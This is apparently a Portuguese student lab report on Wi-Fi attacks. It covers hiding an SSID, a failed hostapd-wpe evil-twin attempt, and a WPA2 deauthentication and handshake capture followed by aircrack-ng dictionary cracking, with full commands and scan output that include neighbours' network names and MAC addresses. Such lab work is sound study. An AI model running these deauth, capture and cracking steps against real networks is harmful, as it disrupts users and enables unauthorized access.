

# RELATÓRIO 8 – WIRELESS ATTACK

Lucas Loscheider Reis Muniz – lucasl01@hotmail.com

## Termos Importantes

- **SSID (service set identifier):** Tem a função de identificar a rede wireless(sem fio) para o usuário, ou seja, a grosso modo falando, é o nome da rede wireless visível para que os usuários se conectem a ela.
- **Framework:** é um pacote de códigos prontos que podem ser utilizados no desenvolvimento de sites. A proposta de uso dessa ferramenta é aplicar funcionalidades, comandos e estruturas já prontas para garantir qualidade no projeto e produtividade.
- **EAP (Extensible Authentication Protocol):** é um protocolo para conexões wireless que expande os métodos de autenticação usados pelo protocolo Point-to-Point (PPP), um protocolo usado quando se conecta um computador à internet. Em vista disso, o EAP é usado para passar informação de autenticação entre o suplicante (um software cliente que se conecta ao sinal wi-fi) e o servidor de autenticação. O EAP lida e define essa autenticação.
- **PEAP (Protected Extensible Authentication Protocol):** é uma versão do EAP. Essa versão fornece maior segurança na autenticação, já que utiliza a camada de transporte TLS (Transport Layer Security – protocolo de segurança que criptografa a comunicação entre os computadores e o servidor, quando um site é acessado) para criar um canal criptografado entre o cliente e um servidor.
- **EAP-TLS (EAP - Transport Layer Security):** o protocolo EAP não é um mecanismo específico de autenticação. Por isso ele tem funções básicas e métodos específicos de autenticação, chamados de métodos EAP. Sendo assim, EAP-TLS é um desses métodos e existem vários outros métodos, como o EAP-MD5, EAP-GTC dentre outros.
- **Beacon:** é um dos frames de gestão do set de protocolos LAN IEEE 802.11 baseado em WLAN. Ele contém toda a informação sobre a rede de conexão AP(access point), sendo transmitido periodicamente para anunciar a presença de uma WLAN e para sincronizar os pontos finais conectados a ele.
- **Evil Twin:** é um ponto de acesso Wi-Fi fraudulento, o qual se parece com um legítimo ponto de acesso Wi-Fi e na verdade é usado para roubar dados importantes, agindo como um Man-in-the-middle (MITM).

## Ocultação do SSID

Para ocultar o nome da rede digitamos na barra do browser o endereço padrão **192.168.0.1** e inserimos o log in com senha solicitados pelo padrão do roteador. Depois disso, nos deparamos com informações básicas a qual encontramos além do nome SSID, o endereço **BSSID** (Basic SSID) 00:e0:4c:d2:7c:81.

Wireless2Configurações e Status	
Modo de Operação Wireless	AP
Banda	2.4 GHz (B+G+N)
SSID	Roberto
Canal	6
Criptografia	WPA2 Mixed
BSSID	00:e0:4c:d2:7c:81
Clientes Associados	1

Em seguida, vamos nas configurações wireless e ocultamos o nome da rede SSID:

REDE 5GHZ	REDE 2.4GHZ	REDE	FIREWALL
<h2>Configurações Básicas Wireless - wlan2</h2> <p>Esta página é utilizada para configurar os parâmetros para os clientes wireless LAN que se conectarem à rede. Pode alterar parâmetros de rede, segurança, entre outros.</p>			
<p><input type="checkbox"/> Desabilitar interface wireless LAN</p> <p><b>Região:</b> BRAZIL</p> <p><b>Banda:</b> 2.4 GHz (B+G+N)</p> <p><b>Modo:</b> AP</p> <p><b>Múltiplo AP</b></p> <p><b>Tipo de rede:</b> Infraestrutura</p> <p><b>SSID:</b> Roberto</p> <p><b>Largura do canal:</b> 40MHz</p> <p><b>Controle de banda lateral:</b> Superior</p> <p><b>Canal:</b> 6</p> <p><b>Transmissão SSID:</b> Desativado</p> <p><b>WMM:</b> Ativado</p> <p><b>Taxa de dados:</b> Auto</p> <p><b>TX restrito:</b> 0 Mbps (0:sem restrição)</p> <p><b>RX restrito:</b> 0 Mbps (0:sem restrição)</p> <p><b>Clientes Associados:</b> Mostrar clientes ativos</p> <p><input type="checkbox"/> Habilitar Clonagem de MAC (Cliente Ethernet Único)</p> <p><input type="checkbox"/> Ativar Modo Repetidor Universal (Atuando como AP e Cliente simultaneamente)</p> <p><b>SSID de Interface Extendida:</b> SSID-RPT1 <input type="button" value="Adicionar ao perfil"/></p> <p><input type="button" value="Salvar"/> <input type="button" value="Salvar &amp; Aplicar"/> <input type="button" value="Resetar"/></p>			

A partir desse momento, qualquer dispositivo final não conectado previamente à rede, não será capaz de visualizá-la para tentar conectar. Porém se fizermos um escanamento usando algum software para isso como o aircrack com o comando “`airodump-ng wlan0`”, encontraremos uma rede com o mesmo endereço de **BSSID** porém com o nome **SSID** oculto:

lolo@lolo:~\$ ifconfig wlan0 down CH 11 ][ Elapsed: 54 s ][ 2021-01-14 17:12 ][ wlan0 reset to monitor mode												
BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID			
F4:4C:7F:4F:04:A0	-1	0	0 0	7	-1					<length: 0>		
00:E0:4C:D2:7C:81	-46	212	0 0	6	270	WPA2	CCMP	PSK	<length: 7>			
38:6B:1C:1A:1E:58	-53	161	145 5	3	270	WPA2	CCMP	PSK	Alice			
00:1A:3F:EE:42:1E	-53	141	0 0	11	270	WPA2	CCMP	PSK	Maiara			
24:FD:0D:8B:B5:60	-69	103	0 0	2	130	WPA2	CCMP	PSK	Vini			
AC:84:C6:07:F6:2E	-79	118	1 0	2	270	WPA2	CCMP	PSK	CEBOLA WIFI			
18:D6:C7:82:58:02	-81	106	0 0	2	270	WPA2	CCMP	PSK	Casa_Dulce			
80:8F:E8:C7:CB:84	-82	41	25 0	11	270	WPA2	CCMP	PSK	Tatiane			
00:1E:58:24:5B:25	-84	64	2 0	8	130	WPA2	CCMP	PSK	Francasa			
B0:95:75:10:60:B3	-85	18	4 0	1	130	WPA2	CCMP	PSK	Casa De Carnes Alderio			
24:FD:0D:25:51:BB	-79	46	0 0	1	270	WPA2	CCMP	PSK	iConecta-Julian			
C8:3A:35:33:4F:C0	-90	35	0 0	7	270	WPA2	CCMP	PSK	Fernanda			

Ou seja, os Beacons continuam sendo enviados e com isso vizualisamos o endereço BSSID o qual não pode ser ocultado.

## Rede enterprise evil twin

Nesta prática, segui os passos no tutorial <https://www.c0d3xpl0it.com/2017/03/enterprise-wifi-hacking-with-hostapd-wpe.html> .

Neste ataque o invasor configura seu computador para transmitir um sinal que o torne um ponto de acesso, um hotspot wi-fi legítimo. Primeiramente ele interrompe ou desabilita o AP legítimo, desconectando-o ou criando uma interferência de RF (sinais de radiofrequênci) em torno dele. Os usuários acabam perdendo a conexão com o AP legítimo e reconectam com o Evil Twin.

Assim, quando a vítima se conecta a essa rede wireless, o hacker pode roubar credenciais de acesso a diferentes plataformas e injetar códigos maliciosos em navegadores, vindo a redirecionar o usuário para sites com malware.

Primeiramente faço o download no terminal do **hostapd-wpe** que é uma ferramenta que autentica um usuário final em uma falsa rede de wifi para obter dados do usuário. Depois disso, executo o comando “*airmon-ng check kill*” no terminal para terminar os processos que atrapalhem na utilização do software aircrack-ng. Então configuro o **hostapd-wpe** na pasta etc/hostapd-wpe/hostapd-wpe.conf para outro nome de rede qualquer. Porém caso rodar-mos a rede assim, quem tentar se conectar, aparecerá a mensagem de que não é uma rede confiável para conexão, então fazemos o download de um script em python chamado apd\_launchpad o qual executo “*etc/hostapd-wpe python3 apd\_launchpad.py -t DEMOBANK -s CORPORATE\_WIFI -i wlan0 -cn CORPORATE.DEMOBANK.COM*” para adicionar informações a nossa rede de forma que o aviso de conexão não confiável desapareça. Com isso, executo no terminal “*hostapd-wpe ./DEMOBANK/DEMOBANK.conf -s*” porém um erro com umas frases informando uma numeração aparecem para mim no terminal, e depois de horas tentando solucionar esse problema, não consigo identificar o erro e solucionar, mas a partir desse ponto, o passo seria rodar novamente a rede evil twin e esperar usuários se conectarem a ela para obter dados deles.

## Ataques wifi Deauth

Esse ataque consistirá em desconectar usuários de um AP(access point) alvo enquanto monitora aquele AP e com isso obter uma hash, monitorando o 4-hand-shake (autenticação e consequentemente reconexão) quando aquele usuário tentar se conectar a rede alvo novamente. Depois disso, nosso passo será quebrar a hash obtida usando uma lista txt com possíveis senhas listadas para comparar com a hash e assim descobrir a senha wireless do AP alvo.

Inicialmente inserimos o comando “*airmon-ng check kill*” para interromper qualquer processo que atrapalhe a execução do aircrack:

```

lolo@lolo:~          (mac80211 monitor mode vif enabled for [phy0]wlan0 on
[phy0]wlan0mon)
          (mac80211 station mode vif disabled for [phy0]wlan0)

lolo@lolo:~$ sudo airmon-ng check kill

Killing these processes:

      PID Name
      692 wpa_supplicant

lolo@lolo:~$ iwconfig
lo      no wireless extensions.

eth0    no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=15
          dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

lolo@lolo:~$ clear

```

Então verificamos o nome da interface wireless para passar por parâmetro para o modo monitor do aircrack:

```

lolo@lolo:~$ sudo aircrack-ng
[sudo] password for lolo:
          Create GWK-1200AC           Scan wireless aircrack           UNIQ Health Check - 300
          https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng
          Monitor Mode

PHY      Interface     Driver      Chipset
phy0      wlan0        ath9k       Qualcomm Atheros AR9285 Wireless Network Adapter (PCI-Express) (rev 01)

```

O modo monitor nos permite monitorar todo o tráfego recebido via wireless.

Em seguida, colocamos nossa interface wlan0 no modo monitor:

```

lolo@lolo:~$ sudo airmon-ng start wlan0
          Create GWK-1200AC           Scan wireless aircrack           UNIQ Health Check - 300
          https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng
          Monitor Mode

PHY      Interface     Driver      Chipset
phy0      wlan0        ath9k       Qualcomm Atheros AR9285 Wireless Network Adapter (PCI-Express) (rev 01)
          (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
          (mac80211 station mode vif disabled for [phy0]wlan0)

```

Depois desse passo é sempre bom verificar se o nome da nossa interface wireless continua o mesmo ou foi alterado pelo aircrack, com o comando “*iwconfig*”. No meu caso o aircrack alterou o nome da interface para wlan0mon.

Neste momento é hora de começarmos a monitorar todo o tráfico recebido via wireless. O tráfico é monitorado por meio de frames Beacon enviados pelos roteadores pelas redondezas:

Scan Results (WPA/WPA2) on Channel 9												
BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID			
88:5D:FB:F0:FD:D4	-87	3	0 0	3	54e	WPA2	CCMP	PSK	Fatima MB	assume you		
1C:5F:2B:96:46:8B	-83	3	0 0	11	65	WPA2	CCMP	PSK	PEDRO_WIFI	select name if it di		
00:1A:3F:EE:42:1E	-64	6	0 0	11	270	WPA2	CCMP	PSK	Maiara	mode		
38:6B:1C:1A:1E:58	-52	12	4 0	3	270	WPA2	CCMP	PSK	Alice			
18:D6:C7:82:58:02	-76	8	0 0	2	270	WPA2	CCMP	PSK	Casa_Dulce			
80:8F:E8:C7:CB:84	-83	7	0 0	11	130	WPA2	CCMP	PSK	Tatiane			
C8:3A:35:33:4F:C0	-87	5	11 4	7	270	WPA2	CCMP	PSK	Fernanda			
00:1E:58:24:5B:25	-79	11	0 0	8	130	WPA2	CCMP	PSK	Francasa			
24:FD:0D:8B:B5:60	-73	15	0 0	2	130	WPA2	CCMP	PSK	Vini			
80:41:26:CF:91:CC	-84	4	0 0	1	130	WPA2	CCMP	PSK	Nadir	airmon-ng start w		
AC:84:C6:07:F6:2E	-79	12	6 0	2	270	WPA2	CCMP	PSK	CEBOLA WIFI			
98:DA:C4:BD:B5:D8	-86	5	0 0	1	270	WPA2	CCMP	PSK	TP-Link_B5D8			
B0:95:75:10:60:B3	-87	5	6 0	1	130	WPA2	CCMP	PSK	Casa De Carnes Alderio			
24:FD:0D:25:51:BB	-69	8	12 5	1	270	WPA2	CCMP	PSK	iConecta-Julian			
00:E0:4C:D2:7C:81	-42	26	0 0	6	270	WPA2	CCMP	PSK	Roberto	iwconfig . You:		
00:E0:4C:D2:BB:45	-1	0	0 0	6	-1				<length: 0>	Likely mono or wlan		
BSSID	STATION		PWR	Rate	Lost	Frames	Notes	Probes				
38:6B:1C:1A:1E:58	98:39:8E:9A:7B:A3		-76	24e- 1e	0	4	Find Your Target					
AC:84:C6:07:F6:2E	C8:C7:50:73:3F:CE		-86	1e- 1	0	4	Start listening to 80					
AC:84:C6:07:F6:2E	F4:F5:24:2C:39:07		-82	1e- 1e	261	6	routers using your r					
B0:95:75:10:60:B3	A8:96:75:71:2B:AE		-1	6e- 0	0	5						
00:E0:4C:D2:BB:45	28:16:7F:24:63:F6		-92	0 - 1e	12	3						

O nosso alvo será a rede Roberto. Em vista disso, inserimos o comando “`sudo airodump-ng wlan0mon -c 6 -bssid 00:E0:4C:D2:7C:81 -w /home/lolo/Desktop/hash`”

onde **-c** é o canal utilizado pelo AP alvo, **--bssid** o nome da rede, **-w** o local onde alguns arquivos contendo informações da rede monitorada serão criados. Eu os chamei de hash, e dentre eles terá um arquivo .cap que será criado o qual conterá a hash capturada de um dos pontos finais o qual nossa placa de rede monitora-rá a procura de um 4-hand-shake para conseguir capturar a hash da rede:

```
CH 6 ][ Elapsed: 15 mins ][ 2021-01-18 09:19 ][ WPA handshake: 00:E0:4C:D2:7C:81
BSSID          PWR RXQ Beacons    #Data, #/s   CH   MB   ENC CIPHER AUTH ESSID
00:E0:4C:D2:7C:81 -39 100      8739     19055      0    6  270   WPA2 CCMP  PSK Roberto
BSSID          STATION          PWR  Rate    Lost    Frames  Notes  Probes
00:E0:4C:D2:7C:81 70:FD:46:2A:10:2C -28   24e- 6e      0    35382  EAPOL  Roberto
00:E0:4C:D2:7C:81 D4:63:C6:1B:40:F3 -62   24e- 6e      0      302
Quitting...
lolo@lolo:~$ sudo airodump-ng wlan0mon -c 6 --bssid 00:E0:4C:D2:7C:81 -w /home/lolo/Desktop/hash.txt
```

Para agilizarmos o processo de capturar a hash, faremos o ataque de desautenticação de um usuário alvo (deauth attack), o qual escolhemos um usuário conectado a rede escolhida e inserimos o comando abaixo, abrindo outra aba no terminal:

```
lolo@lolo:~$ sudo aireplay-ng -0 10 -a 00:E0:4C:D2:7C:81 -c 70:FD:46:2A:10:2C wlan0mon
```

Onde **-0** representa o ataque deauth, **10** o número de pacotes de desautenticação enviados, **-a** o endereço BSSID do AP o qual já escolhemos anteriormente, **-c** o endereço BSSID do usuário conectado aquela rede e **wlan0mon** o nome de nossa interface wireless em modo monitor.

Depois disso, verificamos na aba do terminal anterior se o 4-hand-shake, e consequentemente o hash foi capturado. Notamos isso quando aparecer a frase **WPA handshake “endereço bssid inserido aqui”**. (No nosso exemplo acima já tinhemos capturado). :

CH 6 ][ Elapsed: 3 mins ][ 2021-01-18 09:24 ][ WPA handshake: 00:E0:4C:D2:7C:81											
BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID	
00:E0:4C:D2:7C:81	-45	100	1971	1019	0	6	270	WPA2	CCMP	PSK	Roberto
BSSID STATION PWR Rate Lost Frames Notes Probes											
00:E0:4C:D2:7C:81	70:FD:46:2A:10:2C	-26	24e-	6e	134		1132	EAPOL	Roberto		
00:E0:4C:D2:7C:81	D4:63:C6:1B:40:F3	-62	0 -	6e	0		29				

Agora podemos finalizar os processos e começar a explorar o arquivo .cap para tentar quebrar a hash e descobrir a senha da rede wireless alvo. Para isso abrimos o terminal e inserimos “*aircrack-ng -w senhas.txt -b 00:E0:4C:D2:7C:81 hash-01.cap*” onde **-w** será o documento txt onde contenha senhas para tentativa e **-b** o endereço BSSID de nossa rede alvo e **hash-01.cap** o arquivo criado anteriormente pelo aircrack contendo a hash capturada:

```
lolo@lolo:~/Desktop$ sudo aircrack-ng -w senhas.txt -b 00:E0:4C:D2:7C:81 hash-01.cap
Reading packets, please wait...
Opening hash-01.cap
Read 10932 packets.
```

1 potential targets

Aircrack-ng 1.6

[00:00:00] 1/1 keys tested (85.81 k/s)

Time left: --

KEY NOT FOUND

Master Key	:	00 00
Transient Key	:	00 00
EAPOL HMAC	:	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Nesse ponto, não sei por qual motivo, apesar do meu documento senhas.txt conter a senha correta, o aircrack não conseguiu identificar a senha fazendo a comparação com o hash. Eu tentei fazer umas pesquisas mas não consegui solucionar esse problema...

Uma observação válido a se fazer, é que ao executar o aircrack e mudar a interface da placa de rede do computador para monitor, eu fico sem acesso à internet. Para solucionar isso é preciso, depois de terminar de usar o aircrack, parar o modo monitor do aircrack:

```
lolo@lolo:~$ sudo airmon-ng stop wlan0mon
```

E depois mudar o modo de rede de monitor para managed, era o estado original:

```
lolo@lolo:~$ sudo iwconfig wlan0 mode managed
```

Por fim reiniciar o serviço da placa de rede do computador:

```
lolo@lolo:~$ sudo service NetworkManager restart
```